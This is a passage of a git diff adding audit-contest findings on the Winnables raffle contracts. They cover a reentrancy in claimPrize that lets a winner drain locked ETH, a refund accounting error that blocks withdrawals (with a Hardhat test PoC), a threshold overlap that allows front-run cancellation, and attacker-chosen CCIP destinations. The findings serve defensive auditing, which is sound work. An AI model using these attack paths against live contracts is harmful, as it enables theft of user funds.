the raffle system. + + + +### PoC + +_No response_ + +### Mitigation + +Add a check to ensure that the propagateRaffleWinner function can only be executed once per raffle by verifying the current status before setting it to PROPAGATED. Additionally, reset raffle.totalRaised to 0 after processing. + diff --git a/001/366.md b/001/366.md new file mode 100644 index 0000000..c1d60f5 --- /dev/null +++ b/001/366.md @@ -0,0 +1,110 @@ +Spare Parchment Millipede + +High + +# `claimPrize` in `WinnablesPrizeManager.sol` is vulnerable to re-entrancy + +## Summary +The `claimPrize(uint256 raffleId)` is an externally callable method that is called by the raffle winner to claim the prize of the Raffle. + +However, the code does not follow CEI pattern which leads to re-entrancy vulnerability and for the raffle winner to be able drain all the locked ETH in the contract! + +## Vulnerability Detail +The function `claimPrize()` is supposed to distribute the raffle prize based on the `RaffleType` associated with the `raffleId`. + +The cause of the issue is that we are sending the prize of the raffle to the winner before setting the +`rafflePrize.status == RafflePrizeStatus.CLAIMED`. + +For `RaffleType.NFT` and `RaffleType.TOKEN` this is not an issue as the protocol readme states that they will not be using any weird ERC20s so we can assume that the tokens will not be re-entreable. + +However, in case of `RaffleType.ETH` the contract is calling `_sendETHPrize` which makes an external call to the winner as seen below: + +```solidity +function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); +} +``` + +The check `if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed();` is happening afterwards the call. + +So the malicious contract can re-enter the `WinnablePrizeManager::claimPrize()` via its malicious `receive()/fallback()` method and claim the prize again! + +This would mean that the malicious contract can keep on calling the contract till the eth is drained. + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + // @audit high -> since check happening after interaction + // re-entrancy possible in case of malicious winner! + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` + +## Impact + +The malicious winner can drain all the eth locked in the `WinnablePrizeManager`. + +Lets go through a sample proof of concept: + +1. Lets say there are 2 raffles of 1 eth and 4 eth respectively. +2. Winner of `raffle1` is `maliciousContract`, while `raffle2` is still ongoing. +3. Total `_ethLocked` in contract is 5 eth, claimable amount by `maliciousContract` is 1 eth +4. `maliciousContract` calls `claimPrize`, receives 1 eth via receive()/fallbac() and calls back into `claimPrize` +5. The `maliciousContract` can keep on doing this all the eth in the account is drained. + +## Code Snippets +`claimPrize()`: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +`_sendEthPrize()`: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L314-L317 + +## Tool used + +Manual Review + +## Recommendation +1. Use `reentrancyGuard` from `openzeppelin` +2. Follow check-effect-interaction and update the status before making external calls to distribue prize. + +```diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` \ No newline at end of file diff --git a/001/367.md b/001/367.md new file mode 100644 index 0000000..56413ca --- /dev/null +++ b/001/367.md @@ -0,0 +1,187 @@ +Custom Gunmetal Condor + +Medium + +# Incorrect track of lockedETH may cause lock of funds + +## Summary +The WinnablesTicketManager contract fails to properly update the _lockedETH variable when [refunding players](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) after a raffle cancellation, it will not substract _lockedETH to the amount the player is getting from the refund. This discrepancy between the actual contract balance and _lockedETH can lead to a situation where funds become locked in the contract, preventing withdrawals and potentially disrupting the protocol's operations. + +## Vulnerability Detail +In the refundPlayers function, when ETH is refunded to players after a raffle cancellation, the _lockedETH variable is not decreased accordingly. This leads to a growing discrepancy between the actual ETH balance of the contract and the _lockedETH value over time, especially if multiple raffles are cancelled. +The issue is exacerbated by the [withdrawETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) function, which calculates the withdrawable amount as the difference between the contract's balance and _lockedETH: +```solidity +withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { +-> balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); +} +``` +As _lockedETH remains artificially high due to the lack of adjustment during refunds, this calculation can result in an underflow, causing the withdrawal to fail. + +since it will not have the underflow (big number) amount of ETH to send with value:amount +```solidity + function _sendETH(uint256 amount, address to) internal { + if (amount == 0) revert NothingToSend(); + -> (bool success, ) = to.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +## Impact +The impact of this vulnerability is severe: + +Funds can become permanently locked in the contract, as the withdrawETH function will consistently fail due to the inflated _lockedETH value. +The protocol's ability to manage its ETH balance is compromised, potentially leading to a complete halt of operations. +Since they can't withdraw the money collected from the tickets + +## Code Snippet +The following part with showcase a potential situation in which the admin can't withdraw the money collected from the tickets sales. + +### 1) Initial State: +Raffle 1: 4 players, 1 ETH each +Raffle 2: 3 players, 1 ETH each +Total Balance: 7 ETH +_lockedETH: 7 ETH + +### 2)Raffle 1 Cancellation and Refunds: + +4 ETH refunded to players +New Balance: 3 ETH +_lockedETH remains at 7 ETH (not decreased during refunds) + +### 3)Raffle 2 Completes: + +Winner drawn and propagated +_lockedETH decreased by 3 ETH: 7 ETH - 3 ETH = 4 ETH + +### 4)Admin Attempts to Withdraw +Actual Balance: 3 ETH +_lockedETH: 4 ETH +Calculation: 3 - 4 = -1 (which, due to unchecked underflow, becomes a very large number) + +### 5) The _sendETH function will fail because the contract doesn't have enough ETH to send this large (incorrect) amount. + +The below POC illustrates the situation described above +POC: Add this code in the TicketManager.js test file and run yarn test +```javascript +describe("ETH Accounting Vulnerability", function () { + let manager, signers, link, ccipRouter, api, coordinator; + let buyer1, buyer2, buyer3, buyer4, buyer5, buyer6, buyer7; + + before(async function () { + const result = await ccipDeployTicketManager(); + manager = result.ticketManager; + link = result.link; + ccipRouter = result.ccipRouter; + coordinator = result.coordinator; + signers = await ethers.getSigners(); + api = await getWalletWithEthers(); + await (await manager.setRole(api.address, 1, true)).wait(); + [buyer1, buyer2, buyer3, buyer4, buyer5, buyer6, buyer7] = await Promise.all( + Array(7).fill().map(() => getWalletWithEthers()) + ); + + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + // Set up CCIP counterpart + await manager.setCCIPCounterpart(signers[0].address, 1, true); + }); + + it("Should demonstrate ETH accounting issue with cancelled and completed raffles", async function () { + // Setup: Lock prizes for two raffles + await lockPrize(1); + await lockPrize(2); + + // Create two raffles with higher minimum ticket thresholds + const now = await blockTime(); + await manager.createRaffle(1, now, now + 3600, 5, 500, 100); // Minimum 5 tickets + await manager.createRaffle(2, now, now + 3600, 3, 500, 100); // Minimum 3 tickets + + // Buy tickets for first raffle (not reaching threshold) + for (let buyer of [buyer1, buyer2, buyer3, buyer4]) { + const sig = await getTicketPurchaseSignature(api, buyer.address, 1, 1, 1); + await manager.connect(buyer).buyTickets(1, 1, sig.blockNumber, sig.signature, { value: ethers.utils.parseEther("1") }); + } + + // Buy tickets for second raffle (reaching threshold) + for (let buyer of [buyer5, buyer6, buyer7]) { + const sig = await getTicketPurchaseSignature(api, buyer.address, 2, 1, 1); + await manager.connect(buyer).buyTickets(2, 1, sig.blockNumber, sig.signature, { value: ethers.utils.parseEther("1") }); + } + + // Check initial state (7 ETH in contract, 7 lockedETH) + expect(await ethers.provider.getBalance(manager.address)).to.equal(ethers.utils.parseEther("7")); + + // Cancel first raffle + await helpers.time.increase(3601); // Move past the raffle end time + await manager.cancelRaffle(signers[0].address, 1, 1); + + // Refund players from first raffle + await manager.refundPlayers(1, [buyer1.address, buyer2.address, buyer3.address, buyer4.address]); + + // Check state after refund + // the lockedETH remains 7 since the refund does not affect the lockedETH + expect(await ethers.provider.getBalance(manager.address)).to.equal(ethers.utils.parseEther("3")); + + // Complete second raffle + await manager.drawWinner(2); + await coordinator.fulfillRandomWordsWithOverride(1, manager.address, [123456]); // Simulate VRF response + await manager.propagateRaffleWinner(signers[0].address, 1, 2); + + // Check final state + // lockedETH is now 7 - 3 = 4 + // ETH balance is 3 + expect(await ethers.provider.getBalance(manager.address)).to.equal(ethers.utils.parseEther("3")); + + // withdrawETH should revert with ETHTransferFail + // since ethBalance - lockedETH = 3 - 4 = -1 => unchecked cause underflow => uint256(-1) = 2^256 - 1 + await expect(manager.withdrawETH()).to.be.reverted; + + }); + + // Helper function to lock prize for a raffle + async function lockPrize(raffleId) { + await whileImpersonating(ccipRouter.address, ethers.provider, async (signer) => + manager.connect(signer).ccipReceive({ + messageId: ethers.utils.formatBytes32String(`message${raffleId}`), + sourceChainSelector: 1, + sender: ethers.utils.hexZeroPad(signers[0].address, 32), + data: ethers.utils.defaultAbiCoder.encode(['uint256'], [raffleId]), + destTokenAmounts: [] + }) + ); + } + + // Helper function to generate signature for ticket purchase + async function getTicketPurchaseSignature(signer, buyerAddress, raffleId, ticketCount, ethAmount) { + const blockNumber = await ethers.provider.getBlockNumber() + 10; + const nonce = await manager.getNonce(buyerAddress); + const message = ethers.utils.solidityKeccak256( + ['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], + [buyerAddress, nonce, raffleId, ticketCount, blockNumber, ethers.utils.parseEther(ethAmount.toString())] + ); + const signature = await signer.signMessage(ethers.utils.arrayify(message)); + return { signature, blockNumber }; + } + }); +``` + +## Tool used + +Manual Review + +## Recommendation +Decrease _lockedETH when refunds are issued +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + // ... existing code ... + for (uint256 i = 0; i < players.length; i++) { + // ... existing refund logic ... + unchecked { + _lockedETH -= amountToSend; + } + } +} +``` \ No newline at end of file diff --git a/001/368.md b/001/368.md new file mode 100644 index 0000000..6b7eb4c --- /dev/null +++ b/001/368.md @@ -0,0 +1,72 @@ +Suave Bronze Monkey + +Medium + +# Having both possibilities at the minTicketsThreshold can lead to inconsistencies in the raffle process, as it allows a raffle to be drawable and cancelable simultaneously. + +### Summary + +The drawable and cancelable states are incompatible, so the conditions for both states must be exclusive. +However in `_checkShouldDraw` and `_checkShouldCancel` of `WinnablesTicketManager` contract, if supply is exact equal to `minTicketsThreshold`, raffle can be drawable and cancelable simultaneously. +This dual state can create confusion and undermine the integrity of the raffle system. + +### Root Cause + +In [`WinnablesTicketManager::_checkShouldDraw`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L431), check if current supply is not less than `minTicketsThreshold`, and in [`WinnablesTicketManager::_checkShouldCancel`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440), check if current supply is not greater than `minTicketsThreshold`. + +So if current supply is `minTicketsThreshold`, then pass the both of validations, so raffle can be drawable and cancelable simultaneously in rare case. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This dual state can cause confusion and compromise the integrity of the raffle system. +The raffle state is determined based on the first caller to execute one of the two functions. +This breaks the integrity of the contract in the rare case where the current supply is exactly equal to `minTicketsThreshold`. + +### PoC + +_No response_ + +### Mitigation + +Please fix to remove overlapped condition. + +```diff +function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } +- if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); ++ if (currentTicketSold <= raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` +or + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` + \ No newline at end of file diff --git a/001/369.md b/001/369.md new file mode 100644 index 0000000..38e03eb --- /dev/null +++ b/001/369.md @@ -0,0 +1,79 @@ +Cheery Tangerine Bear + +High + +# The attacker can prevent the winner and the administrator from withdrawing funds from the prize pool. + +## Summary +In the `WinnablesTicketManager` contract, the `cancelRaffle` and `propagateRaffleWinner` functions can specify any `prizeManager ` address and `chainSelector`, and both functions can be called by anyone. This allows a malicious actor to send a CCIP message to the wrong contract, preventing the state in the WinnablesPrizeManager contract from being updated(but `WinnablesTicketManager` contract`s state has update), which can block the winner from receiving the reward. + +## Vulnerability Detail +In the first scenario, when a raffle round does not collect enough tickets, the raffle needs to be canceled: +1. A malicious actor can call the `cancelRaffle` function, passing in an incorrect `prizeManager` address or an incorrect `chainSelector`. The CCIP is sent, and the status of the raffle in the `WinnablesTicketManager` changes to CANCELED, preventing the `cancelRaffle` function from being called again. The participants can then retrieve their funds normally. +2. However, due to the incorrect target address or target chain, the CCIP message will not be routed to the correct `WinnablesPrizeManager`, preventing the administrator from releasing the locked prize pool funds. + +In the second scenario, when the winner has already been selected: +1. A malicious actor can call the `propagateRaffleWinner` function, passing in an incorrect `prizeManager` address or an incorrect `chainSelector`. The CCIP message is sent, and the status of the raffle in the `WinnablesTicketManager` changes to PROPAGATED, allowing the administrator to withdraw the funds from the ticks normally. +2. However, due to the incorrect target address or target chain, the CCIP message will not be routed to the correct `WinnablesPrizeManager`, preventing the winner from being updated and the winner from receiving the prize pool funds. +## Impact +The raffle status in the `WinnablesPrizeManager` contract will not be updated, but the status in the `WinnablesTicketManager` contract will have already been updated. As a result, it becomes impossible to resend the correct CCIP message to the `WinnablesPrizeManager` contract through normal means, preventing the winner from receiving the reward or the administrator from withdraw the prize pool funds. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 +## Tool used + +Manual Review + +## Recommendation +It is recommended to set prizeManager and chainSelector as immutable variables. If they are adjustable by the administrator, it could increase the risk of the administrator preventing the winner from receiving the prize funds. +```solidity ++ address immutable internal prizeManager; ++ uint64 immutable internal chainSelector; + constructor( + address _linkToken, + address _vrfCoordinator, + uint64 _subscriptionId, + bytes32 _keyHash, + address _tickets, + address _ccipRouter, ++ address _prizeManager ++ uint64 _chainSelector; + ) VRFConsumerBaseV2(_vrfCoordinator) BaseCCIPContract(_ccipRouter) BaseLinkConsumer(_linkToken) { + VRF_COORDINATOR = _vrfCoordinator; + SUBSCRIPTION_ID = _subscriptionId; + KEY_HASH = _keyHash; + TICKETS_CONTRACT = _tickets; + _setRole(msg.sender, 0, true); // Deployer is admin by default + LinkTokenInterface(LINK_TOKEN).approve(_ccipRouter, type(uint256).max); ++ prizeManager = _prizeManager; ++ chainSelector = _chainSelector; + } + +- function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { ++ function cancelRaffle(uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + +- function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { ++ function propagateRaffleWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + diff --git a/001/371.md b/001/371.md new file mode 100644 index 0000000..09f1b5d --- /dev/null +++ b/001/371.md @@ -0,0 +1,46 @@ +Keen Teal Aphid + +High + +# Winner can claim more funds than just his prize. + +### Summary + +The `claimPrize` function does not comply with the CEI pattern. +All of the checks in the function are at the bottom leaving it exposed to reentrancy attack in the case of ETH being locked in the contract and raffle being `RaffleType.ETH`. + +### Root Cause +In `claimPrize` function : +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + +In `WinnablesPrizeManager.sol:120` , `WinnablesPrizeManager.sol:121` and `WinnablesPrizeManager.sol:122` are all the checks performed in `claimPrize` function. Leaving the function vulnerable to reentrancy attack as in `WinnablesPrizeManager.sol:118` a `_sendETHPrize` function is called to send ETH to the winner. If the winner is a contract that implements in the `fallback` function a call to claim the prize again it can drain more funds that intended. + +### Internal pre-conditions + +1. A number of raffles must be created with prize in ETH. +2. ETH must be locked in the contract so that `_ethLocked` variable has more funds + +### External pre-conditions + +1. A malicious user through a contract buys tickets and enters the raffle. +2. The malicious user wins the raffle. +3. When claiming the prize the user has incorporated a `fallback` function in the contract to reenter the `claimPrize` function to claim multiple times. + + +### Attack Path + +1. The malicious user calls `claimPrize`. +2. Reenters the function number of times to claim bigger prize than intended. + +### Impact + +The protocol suffers loss based on the funds locked in the contract. +Winner can claim multiple times his prize. + +### PoC + + + +### Mitigation + +Move all of the checks in the function at the beginning. \ No newline at end of file diff --git a/001/373.md b/001/373.md new file mode 100644 index 0000000..d39e129 --- /dev/null +++ b/001/373.md @@ -0,0 +1,82 @@ +Rapid Marmalade Seal + +Medium + +# Inconsistency in validations of `_checkShouldDraw()` and `_checkShouldCancel()` functions of `WinnablesTicketManager` contract + +### Summary + +The validations of the [`_checkShouldDraw()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432) and [`_checkShouldCancel()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) functions in the `WinnablesTicketManager` contract are inconsistent, which could allow a malicious user to cancel a raffle and interrupt selecting a winner. +This means that the 'drawWinner()' function, a core function of the protocol, may be broken for valid raffles. + +### Root Cause + +Both of these functions are triggered when `IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId) == raffle.minTicketsThreshold`. This allows the `drawWinner()` function to be reverted by front-running the `cancelRaffle()` function before the `drawWinner()` function is executed. + +### Internal pre-conditions + +1. `block.timestamp >= raffle.endsAt` +2. `IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId) == raffle.minTicketsThreshold` + +### External pre-conditions + +1. The `cancelRaffle()` function must be front-running before the `drawWinner()` function is executed. + +### Attack Path + +1. When `IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId) == raffle.minTicketsThreshold`, the malicious user executes the `cancelRaffle()` function before `drawWinner`function is executed. +2. In the `cancelRaffle()` function, `_raffles[raffleId].status` is set to `RaffleStatus.CANCELED`. +3. When the `drawWinner()` function is executed, the transaction fails because `raffle.status != RaffleStatus.IDLE` in the `_checkShouldDraw()` function. + +### Impact + +Malicious users can cancel valid raffles and interrupt selecting a winner. + +### PoC + +The `_checkShouldDraw()` function checks whether the raffle in question is a valid raffle that can select a winner in the `drawWinner()` function. +```solidity + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } +--> if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` + +Meanwhile, the `_checkShouldCancel()` function checks whether the raffle can be canceled in the `cancelRaffle()` function. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); +--> if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +--> if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +As you can see in the code snippet provided on the above, these two functions are both triggered when `IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId) == raffle.minTicketsThreshold`. + +As a result, a raffle may be canceled even though it is a valid raffle sufficient to select a winner and sned the prize to the winner. + +This means that the core functionality of the protocol may be damaged when `IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId) == raffle.minTicketsThreshold`. + +### Mitigation + +It is recommended to modify the `_checkShouldCancel()` function as follows: +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +--- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/374.md b/001/374.md new file mode 100644 index 0000000..d3a7b93 --- /dev/null +++ b/001/374.md @@ -0,0 +1,102 @@ +Best Cotton Rooster + +Medium + +# The raffle may be canceled due to the attacker's front running. + +## Summary +In special cases, an attacker can use `cancelRaffle()` to cancel the raffle and stop selecting winner, thereby damaging the core functionality of the protocol. + +## Vulnerability Detail +The `WinnablesTicketManager` contract contains the `cancelRaffle()` and the `drawWinner()`. +Users use the `cancelRaffle()` to cancel the Raffle corresponding to `raffleId` and use the `drawWinner()` to send a request for random number from Chainlink VRF. +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +```solidity + function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + + uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( + KEY_HASH, + SUBSCRIPTION_ID, + 3, + 100_000, + 1 + ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + emit RequestSent(requestId, raffleId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +However, in order to execute the two functions above, the following conditions must be satisfied. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +@ if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +```solidity + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } +@ if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` +As you can see, when `supply` is equal to `raffle.minTicketSupply`, there can be execute both the `cancelRaffle()` and the `drawWinner()`. +As a result, the raffle is canceled if the attacker executes the `cancelRaffle()` before the the `drawWinner()`function is executed. + +Therefore, a raffle may be canceled even though it is a valid raffle sufficient to select a winner and distribute the prize. + +## Impact +A raffle may be canceled even though it is a valid raffle sufficient to select a winner and distribute the prize. Therefore participants do not receive prize. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432 + +## Tool used + +Manual Review + +## Recommendation +The `_checkShouldCancel()` function has to be modified as follow. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +--- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++++ require(supply < raffle.minTicketsThreshold, "supply is bigger than minTicketsThreshold"); + } +``` \ No newline at end of file diff --git a/001/376.md b/001/376.md new file mode 100644 index 0000000..4394f39 --- /dev/null +++ b/001/376.md @@ -0,0 +1,70 @@ +Swift Midnight Anteater + +Medium + +# Incorrect Ticket Threshold Logic for Raffle Cancellation in WinnablesTicketManager Contract + +## Summary + +The `WinnablesTicketManager` contract contains logic that determines whether a raffle should draw a winner or be canceled based on ticket sales and time conditions. However, there is a nuanced issue in the `_checkShouldCancel` and `_checkShouldDraw` functions concerning the condition `supply >= raffle.minTicketsThreshold`. + +## Vulnerability Detail + +The contract has two checks involving ticket sales thresholds: + +1. **In `_checkShouldDraw`:** It ensures a raffle can draw a winner if ticket sales (`currentTicketSold`) are greater than or equal to a minimum threshold (`minTicketsThreshold`). +2. **In `_checkShouldCancel`:** It determines whether to cancel a raffle if ticket sales (`supply`) are below this threshold. + +The issue arises because of the inverse logic check in `_checkShouldCancel`. To cancel a raffle, the function checks if the number of tickets sold is **greater than** the minimum threshold (`supply > raffle.minTicketsThreshold`) and reverts if true, confusing the intended condition. + +## Impact + +The impact of this issue is that raffles may not be correctly canceled if the condition is improperly checked or if the logic is misinterpreted by developers and auditors. This can lead to unwanted behavior, such as raffles remaining open despite not meeting the sales threshold, or being canceled incorrectly. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422 +```solidity +function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = 